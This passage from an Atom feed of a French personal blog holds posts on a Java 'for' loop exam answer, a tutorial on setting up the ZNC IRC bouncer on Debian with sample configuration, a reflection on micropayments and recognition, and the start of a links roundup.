&lt;p&gt;Je l&amp;rsquo;ai fait au tableau comme je le demande à mes &lt;em&gt;students&lt;/em&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;La question choisie est&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pour le mot clé /concept &lt;strong&gt;for&lt;/strong&gt;. Préciser dans quel(s) cas il est utilisé et développer. Donner un exemple d&amp;rsquo;utilisation, en écrivant un extrait de code et expliquer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="for-pbt-1600.png" src="/images/for-pbt-1600.png" title="for-pbt-1600.png"&gt;&lt;/p&gt;
&lt;p&gt;Je complète ma réponse de ces commentaires avant de la fournir aux étudiants.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Ce document n&amp;rsquo;est qu&amp;rsquo;une aide &lt;em&gt;blah blah&lt;/em&gt; et n&amp;rsquo;est en rien &lt;em&gt;blah blah&lt;/em&gt;, je ne peux être tenu pour responsable de &lt;em&gt;blah blah blah&lt;/em&gt;…&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Je cite le &lt;em&gt;EnhancedForStatement&lt;/em&gt; (en me trompant et en écrivant &lt;em&gt;ForeachStatement&lt;/em&gt;) mais je ne développe pas car c&amp;rsquo;est également l&amp;rsquo;objet d&amp;rsquo;une question à part entière&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Il est clair que ce que j&amp;rsquo;écris sera expliqué oralement. Notamment le principe de la boucle en tant que &lt;strong&gt;structure répétitive&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Je parle dans &lt;a href="2013-05-28-bien-bluffe-a-l-oral.html"&gt;cet article&lt;/a&gt;, de « portes que l&amp;rsquo;on peut laisser ouvertes » lorsque l&amp;rsquo;on présente un oral. Voici celles que je me suis laissées dans ma présentation au tableau :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;je ne donne que deux exemples, je peux en donner plus ;&lt;/li&gt;
&lt;li&gt;j&amp;rsquo;écris ce que sont les &lt;em&gt;statement-expression&lt;/em&gt; sans entrer dans les détails, c&amp;rsquo;est l&amp;rsquo;objet d&amp;rsquo;une question à part entière et je peux en dire plus ;&lt;/li&gt;
&lt;li&gt;je peux donner des exemples d&amp;rsquo;expressions booléennes maintenant que j&amp;rsquo;ai écrit comment les construire ;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ce que je n&amp;rsquo;ai pas écrit lorsque j&amp;rsquo;ai fait l&amp;rsquo;exercice « à blanc », parce que j&amp;rsquo;ai oublié et que je ne prétends pas obtenir les félicitations du jury : il existe d&amp;rsquo;autres structures répétitives telles que le &lt;em&gt;while&lt;/em&gt; et le &lt;em&gt;do while&lt;/em&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;En espérant que ça puisse aider …&lt;/p&gt;
&lt;p&gt;Enjoy !&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;p&gt;&lt;a href="2013-07-23-ce-besoin-de-reconnaissance.html"&gt;Ce besoin de reconnaissance&lt;/a&gt;&lt;br&gt;
&lt;a href="2013-07-02-tu-indentes-comme-un-goret.html"&gt;Tu indentes comme un goret&lt;/a&gt;&lt;br&gt;
&lt;a href="2013-06-20-poc-presentation-stage-imaginaire.html"&gt;Proof of concept de ma présentation d&amp;rsquo;un stage imaginaire&lt;/a&gt;&lt;br&gt;
&lt;a href="2013-05-28-bien-bluffe-a-l-oral.html"&gt;J&amp;rsquo;l&amp;rsquo;ai bien bluffé à l&amp;rsquo;oral !&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Crédit photo, &lt;a href="http://ryuzakiliveson.deviantart.com/art/Before-its-too-Late-151218648"&gt;RyuzakiLivesOn&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Le document diffusé aux students [&lt;a href="/pdf/LGJ1-for-pbt.pdf" title="LGJ1-for-pbt.pdf (1.08 MB)"&gt;pdf&lt;/a&gt;]&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Nous sommes plusieurs à donner le même cours et à interroger à l&amp;rsquo;oral ensemble sur base des mêmes questions qui sont fournies aux étudiants&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Mes collègues ont choisis d&amp;rsquo;autres manières de faire que je ne présente pas ici (libre à eux de mettre un lien en commentaire s&amp;rsquo;ils le désirent).&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>IRC 2.0</title><link href="http://blog.namok.be/2013-07-28-irc-2.0.html" rel="alternate"/><published>2013-07-28T00:00:00+02:00</published><updated>2013-07-28T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-07-28:/2013-07-28-irc-2.0.html</id><summary type="html">IRC 2.0</summary><content type="html">&lt;p&gt;&lt;img alt="irc-6006163214_a7cc298d3f_b.jpg" src="/images/irc-6006163214_a7cc298d3f_b.jpg" title="irc-6006163214_a7cc298d3f_b.jpg, juil. 2013"&gt;&lt;/p&gt;
&lt;h3&gt;1971, le commencement&lt;/h3&gt;
&lt;p&gt;Dans les années septante &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, au temps de &lt;a href="http://www.icq.com/"&gt;ICQ&lt;/a&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; et autres (ah non, rien d&amp;rsquo;autres en fait) protocoles permettant de &lt;em&gt;chatter&lt;/em&gt;, le plus &lt;em&gt;geek&lt;/em&gt; était sans nul doute IRC…&lt;/p&gt;
&lt;p&gt;Muni d&amp;rsquo;un client, il suffisait de se connecter au serveur qui va bien et de choisir le &lt;em&gt;chan&lt;/em&gt; qui nous intéresse; #debian, #dotclear, #esi… &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;3&lt;/a&gt;&lt;/sup&gt; L&amp;rsquo;inconvénient était alors que l&amp;rsquo;on ne savait pas ce qu&amp;rsquo;il se disait quand on était absent… Un peu comme au café du coin; quand on est là, on papote et quand on n&amp;rsquo;est pas là… les autres parlent « sur notre dos ».&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est l&amp;rsquo;époque de &lt;a href="http://www.irssi.org/"&gt;irssi&lt;/a&gt;, &lt;a href="http://xchat.org/"&gt;xchat&lt;/a&gt;, &lt;a href="http://www.bitchx.com/"&gt;bitchx&lt;/a&gt; ou &lt;a href="http://www.weechat.org/"&gt;weechat&lt;/a&gt; (non, Emacs, ça ne compte pas !)…&lt;/p&gt;
&lt;p&gt;&lt;img alt="weecfat-5413525337_446d60f331_o.png" src="/images/weechat-5413525337_446d60f331_o.png" title="weecfat-5413525337_446d60f331_o.png, juil. 2013"&gt;&lt;/p&gt;
&lt;h3&gt;1972, je suis toujours là !&lt;/h3&gt;
&lt;p&gt;Les plus malins (comprendre: simplement ceux qui ont l&amp;rsquo;opportunité d&amp;rsquo;accéder à une machine qui est toujours connectée à internet) vont découvrir la commande &lt;code&gt;screen&lt;/code&gt; ce qui leur permettra d&amp;rsquo;être toujours présents sur le &lt;em&gt;chan&lt;/em&gt;… même s&amp;rsquo;ils ne lisent pas tout.&lt;/p&gt;
&lt;p&gt;… et c&amp;rsquo;est muni d&amp;rsquo;un &lt;code&gt;screen&lt;/code&gt; et d&amp;rsquo;un &lt;code&gt;weechat&lt;/code&gt; qu&amp;rsquo;ils passeront les 1000 ans suivants.&lt;/p&gt;
&lt;h3&gt;2013 et comment je fais avec mon smartphone ?&lt;/h3&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui je veux pouvoir accéder à mon sacro-saint &lt;em&gt;chanel&lt;/em&gt; IRC à partir de plusieurs &lt;em&gt;devices&lt;/em&gt;. Pas de souci, je remplace la suite ssh/screen/weechat de mon &lt;em&gt;laptop&lt;/em&gt; par &lt;a href="https://play.google.com/store/apps/details?id=org.connectbot&amp;amp;hl=en"&gt;ConnectBot&lt;/a&gt;/screen/weechat lorsque je suis sur mon smartphone.&lt;/p&gt;
&lt;p&gt;Sauf que ça fonctionne moins bien &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;4&lt;/a&gt;&lt;/sup&gt; :-(&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;idée est de &lt;strong&gt;mettre en place un &lt;em&gt;bouncer&lt;/em&gt; IRC&lt;/strong&gt; ! C&amp;rsquo;est simplement une interface supplémentaire entre le channel IRC et le(s) client(s). Plutôt que de me connecter au serveur IRC, je me connecte à cette interface (de n&amp;rsquo;importe quel &lt;em&gt;device&lt;/em&gt;). Cette interface reste en permanence connectée au chanel… en m&amp;rsquo;offrant des services (marquer ma présence, loguer, …).&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est un &lt;strong&gt;proxy IRC&lt;/strong&gt;. J&amp;rsquo;ai nommé &lt;a href="http://wiki.znc.in/ZNC"&gt;ZNC&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Mettons un peu les doigts dedans pour « faire fonctionner le bouzin » sur ma machine &lt;strong&gt;debian&lt;/strong&gt; …&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;:~#&lt;span class="w"&gt; &lt;/span&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;znc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;… pour installer la chose.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;:~$&lt;span class="w"&gt; &lt;/span&gt;znc&lt;span class="w"&gt; &lt;/span&gt;--makeconf&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;… pour configurer le proxy. Je ne choisis pas &lt;em&gt;ssl&lt;/em&gt; car ça me pose problème et je pense à charger des modules lorsque je réponds aux questions.&lt;/p&gt;
&lt;p&gt;Mon fichier de conf se résume à ça&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;:~$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;~/.znc/configs/znc.conf&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="nv"&gt;Listener4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6697&lt;/span&gt;
&lt;span class="nv"&gt;LoadModule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;webadmin
&lt;span class="nv"&gt;LoadModule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;lastseen

&amp;lt;User&lt;span class="w"&gt; &lt;/span&gt;justeleblanc&lt;span class="se"&gt;\&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;Pass&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="nb"&gt;hash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;de&lt;span class="w"&gt; &lt;/span&gt;justepassword&lt;span class="se"&gt;\&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;Admin&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;Nick&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;JusteLeblanc
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;AltNick&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;MarlèneSassœur
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;Ident&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;justeleblanc
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;RealName&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Juste&lt;span class="w"&gt; &lt;/span&gt;Leblanc,&lt;span class="w"&gt; &lt;/span&gt;ha&lt;span class="w"&gt; &lt;/span&gt;bon&lt;span class="w"&gt; &lt;/span&gt;t&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;as&lt;span class="w"&gt; &lt;/span&gt;pas&lt;span class="w"&gt; &lt;/span&gt;de&lt;span class="w"&gt; &lt;/span&gt;prénom
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;500&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;KeepBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ChanModes&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;+stn

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;LoadModule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;admin
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;LoadModule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;keepnick
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;LoadModule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nickserv&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;mot&lt;span class="w"&gt; &lt;/span&gt;de&lt;span class="w"&gt; &lt;/span&gt;passe&lt;span class="w"&gt; &lt;/span&gt;pour&lt;span class="w"&gt; &lt;/span&gt;NickServ&lt;span class="se"&gt;\&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;LoadModule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;simple&lt;span class="se"&gt;\_&lt;/span&gt;away
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;LoadModule&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;awaynick&lt;span class="w"&gt; &lt;/span&gt;Juste&lt;span class="se"&gt;\_&lt;/span&gt;paslà

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;Server&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;irc.freenode.net&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6667&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&amp;lt;Chan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#unchouettechan\&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&amp;lt;/Chan&lt;span class="se"&gt;\&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&amp;lt;Chan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#unautreencorepluschouette\&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&amp;lt;/Chan&lt;span class="se"&gt;\&amp;gt;&lt;/span&gt;
&amp;lt;/User&lt;span class="se"&gt;\&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;J&amp;rsquo;ai du attendre un peu pour que je parvienne à me connecter avec irssi / weechat et puis ça a fonctionné… je choisis comme &lt;code&gt;server&lt;/code&gt; dans &lt;code&gt;weechat&lt;/code&gt; les paramètres suivant …&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/server host host.someserver.be/6697 
     -username justeleblanc
     -password justepassword
        - autoconnect
/connect host
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il reste à prendre le smartphone et a essayer avec &lt;a href="https://play.google.com/store/apps/details?id=com.countercultured.irc&amp;amp;hl=en"&gt;AndroidIRC&lt;/a&gt; par exemple … et c&amp;rsquo;est plus sympa …&lt;/p&gt;
&lt;p&gt;Enjoy …&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.icq.com/"&gt;ICQ&lt;/a&gt; un vieux brol que je suis surpris de voir encore exister ;-)&lt;br&gt;
&lt;a href="http://esi.namok.be/faq.html#14"&gt;esi.namok.be&lt;/a&gt;, dans la FAQ de mon site pour l&amp;rsquo;école …&lt;br&gt;
&lt;a href="http://www.irssi.org/"&gt;irssi&lt;/a&gt;, &lt;em&gt;The client to the future&lt;/em&gt; ça ne s&amp;rsquo;invente pas !&lt;br&gt;
&lt;a href="http://www.weechat.org/"&gt;weechat&lt;/a&gt;, client IRC&lt;br&gt;
&lt;a href="http://xchat.org/"&gt;xchat&lt;/a&gt;, un autre client IRC&lt;br&gt;
&lt;a href="http://www.bitchx.com/"&gt;bitchx&lt;/a&gt;, le client IRC que l&amp;rsquo;on installait sans savoir à quoi il servait (probablement à cause du nom) … je vois aujourd&amp;rsquo;hui qu&amp;rsquo;il est également un &lt;em&gt;bouncer&lt;/em&gt;&lt;br&gt;
&lt;a href="https://play.google.com/store/apps/details?id=org.connectbot&amp;amp;hl=en"&gt;ConnectBot&lt;/a&gt;, application Androïd me permettant de me connecter un ssh sur une machine distante&lt;br&gt;
&lt;a href="http://wiki.znc.in/ZNC"&gt;ZNC&lt;/a&gt;, &lt;em&gt;bouncer&lt;/em&gt; (proxy) IRC&lt;br&gt;
&lt;a href="https://play.google.com/store/apps/details?id=com.countercultured.irc&amp;amp;hl=en"&gt;AndroidIRC&lt;/a&gt;, une application Android pour IRC un peu plus conviviale que la combinaison ConnectBot/screen/weechat&lt;br&gt;
Merci au chan #dotclear et à &lt;a href="http://open-time.net/"&gt;Frank Paul&lt;/a&gt; pour l&amp;rsquo;info sur ZNC&lt;br&gt;
&lt;em&gt;Crédit photo chez Flickr par &lt;a href="http://www.flickr.com/photos/dvanzuijlekom"&gt;dvanzuijlekom&lt;/a&gt;&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Crédit photo chez Flick par &lt;a href="http://www.flickr.com/photos/n3wjack/"&gt;n3wjack&lt;/a&gt;&lt;/em&gt;  &lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Les plus vieux savent que je mens au niveau de la date mais c&amp;rsquo;est pas grave …&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Ah merde alors, ça existe encore …&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Et pas faire &lt;code&gt;/list *sex*&lt;/code&gt; …&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;ConnectBot n&amp;rsquo;a pas la meilleure interface qu&amp;rsquo;il soit et je n&amp;rsquo;ai toujours pas compris comment faire un &lt;code&gt;[Shift] [Alt] i&lt;/code&gt; pour passer d&amp;rsquo;un &lt;em&gt;chan&lt;/em&gt; à l&amp;rsquo;autre …&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Ce besoin de reconnaissance</title><link href="http://blog.namok.be/2013-07-23-ce-besoin-de-reconnaissance.html" rel="alternate"/><published>2013-07-23T00:00:00+02:00</published><updated>2013-07-23T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-07-23:/2013-07-23-ce-besoin-de-reconnaissance.html</id><summary type="html">Réflexion sur le micropaiement, le libre prix et la quête de reconnaissance à travers les blogs et les réseaux sociaux, entre indépendance financière et plaisir de partager.</summary><content type="html">&lt;p&gt;&lt;img alt="merci-6823806075_dcd0413fc6_o.jpg" src="/images/merci-6823806075_dcd0413fc6_o.jpg" title="merci-6823806075_dcd0413fc6_o.jpg, juil. 2013"&gt;&lt;/p&gt;
&lt;p&gt;Ploum parle beaucoup ces jours-ci — depuis plus d&amp;rsquo;un an hein — du &lt;em&gt;web payant&lt;/em&gt;; comment rémunérer un travail, l&amp;rsquo;auteur d&amp;rsquo;un billet… La solution pour lui (et une solution pour moi) c&amp;rsquo;est le micropaiement et/ou le libre prix pour &lt;a href="https://blog.fredericbezies-ep.fr/2013/07/16/pourquoi-vous-ne-trouverez-pas-de-bouton-flattr-sur-mon-blog/"&gt;d&amp;rsquo;autres, c&amp;rsquo;est garder son indépendance&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Pour faire bref, le &lt;strong&gt;micropaiement&lt;/strong&gt; consiste à demander peu d&amp;rsquo;argent à beaucoup de monde. Si le produit convainc, l&amp;rsquo;auteur sera correctement rémunéré, sinon, non. &lt;/p&gt;
&lt;p&gt;Je plussoie l&amp;rsquo;idée et ne rechigne jamais à payer une application quelques euros. C&amp;rsquo;est bien ! De plus je suis très content d&amp;rsquo;avoir un compte Flattr et j&amp;rsquo;y consacre quelques euros pas mois, c&amp;rsquo;est bien aussi ! 
D&amp;rsquo;autres moyens techniques différents mais dans le même ordre d&amp;rsquo;idée sont Flattr, Paypal, Platreon, «Google Play», etc.&lt;/p&gt;
&lt;p&gt;Est-ce que je peux gagner ma vie comme ça ? Non, je peux seulement me faire « un plus ». &lt;/p&gt;
&lt;p&gt;Le &lt;strong&gt;libre prix&lt;/strong&gt;, c&amp;rsquo;est autre chose et je ne l&amp;rsquo;ai expérimenté qu&amp;rsquo;en &lt;em&gt;live&lt;/em&gt;. Les organisateurs d&amp;rsquo;un évènement annoncent que le coût total s&amp;rsquo;élève à &lt;em&gt;x&lt;/em&gt; € et que chacun est libre de participer comme il veut… ça marche dans certains contextes. Dans le cas d&amp;rsquo;un blog, c&amp;rsquo;est demander d&amp;rsquo;être rémunéré mais ne pas fixer de prix (un peu comme un lien paypal). &lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.mariejulien.com/?post/2013/06/29/Apprenez-que-tout-Flattr-vit-aux-d%C3%A9pens-de-celui-qui-l-%C3%A9coute."&gt;Julien et Marie réagissent à ces arguments dans un article&lt;/a&gt; que je résume par (ce n&amp;rsquo;est pas une citation, c&amp;rsquo;est l&amp;rsquo;idée que j&amp;rsquo;en ressort, n&amp;rsquo;hésitez pas à lire l&amp;rsquo;article très intéressant au demeurant) :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Lorsque je réalise un travail, j&amp;rsquo;en fixe le prix et je suis content que tu me rétribues le montant que je demande. À l&amp;rsquo;inverse, lorsque je donne quelque chose, je n&amp;rsquo;ai pas besoin que tu me verses quelques cents car j&amp;rsquo;ai décidé que ce serait cadeau et ce que je pourrais recevoir donne plus l&amp;rsquo;impression d&amp;rsquo;une aumône que d&amp;rsquo;une rétribution…&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Julien veut différencier « salaire » et « charité »… et je comprends parfaitement son raisonnement &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Alors pourquoi mettre un bouton Flattr / Paypal sur mon blog ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;— Par appât du gain pardi !  … si jamais ça marche.&lt;/p&gt;
&lt;p&gt;Les quelques cents que j&amp;rsquo;ai touché grâce à mes deux Flattr et l&amp;rsquo;euro &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; que j&amp;rsquo;ai reçu via Paypal sont risibles. Par contre, recevoir 50€ par mois, voire un peu plus, dans mon budget, ce serait bien pour un resto de temps en temps, une bonne bouteille de vin… &lt;/p&gt;
&lt;p&gt;Que l&amp;rsquo;on mette un bouton quelconque, que l&amp;rsquo;on précise que l&amp;rsquo;on aime un coup de main, un &lt;em&gt;retweet&lt;/em&gt; ou autre « Faites tourner », que l&amp;rsquo;on regarde ses stats ou pas… ça se résume pour moi à une chose toute simple:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;un élémentaire besoin de reconnaissance…&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si j&amp;rsquo;écris un blog, si je poste sur les réseaux sociaux, si je contribue à un projet… c&amp;rsquo;est d&amp;rsquo;abord parce que j&amp;rsquo;en ai envie et en retour, je ne veux qu&amp;rsquo;un peu de reconnaissance… &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;un merci&lt;/strong&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;À part Wikipédia (je crois) peu de sites peuvent vivre grâce aux dons sans qu&amp;rsquo;il n&amp;rsquo;y ait des bénévoles.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Je mens, je pense que c&amp;rsquo;était 50 cents.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Vrac #13</title><link href="http://blog.namok.be/2013-07-17-vrac-13.html" rel="alternate"/><published>2013-07-17T00:00:00+02:00</published><updated>2013-07-17T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-07-17:/2013-07-17-vrac-13.html</id><summary type="html">Quelques outils pratiques comme IFTTT, Pocket ou Kiva pour automatiser des tâches, organiser ses lectures et soutenir des producteurs à travers le monde.</summary><content type="html">&lt;p&gt;&lt;img alt="3224201648_143a736af4_o.jpg" src="/images/3224201648_143a736af4_o.jpg" title="3224201648_143a736af4_o.jpg, juil. 2013"&gt;&lt;/p&gt;
&lt;p&gt;« if that then that» (&lt;a href="http://ifttt.com/"&gt;IFTTT&lt;/a&gt;) est un service qui, comme son nom l&amp;rsquo;indique, déclenche une action sur base d&amp;rsquo;une autre. Bien pratique pour&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;poster un statut Facebook quand je poste un billet sur le blog,&lt;/li&gt;
&lt;li&gt;idem pour poster sur Linkedin,&lt;/li&gt;
&lt;li&gt;placer dans mon «pocket» un article sauvé sur Feedly&lt;/li&gt;
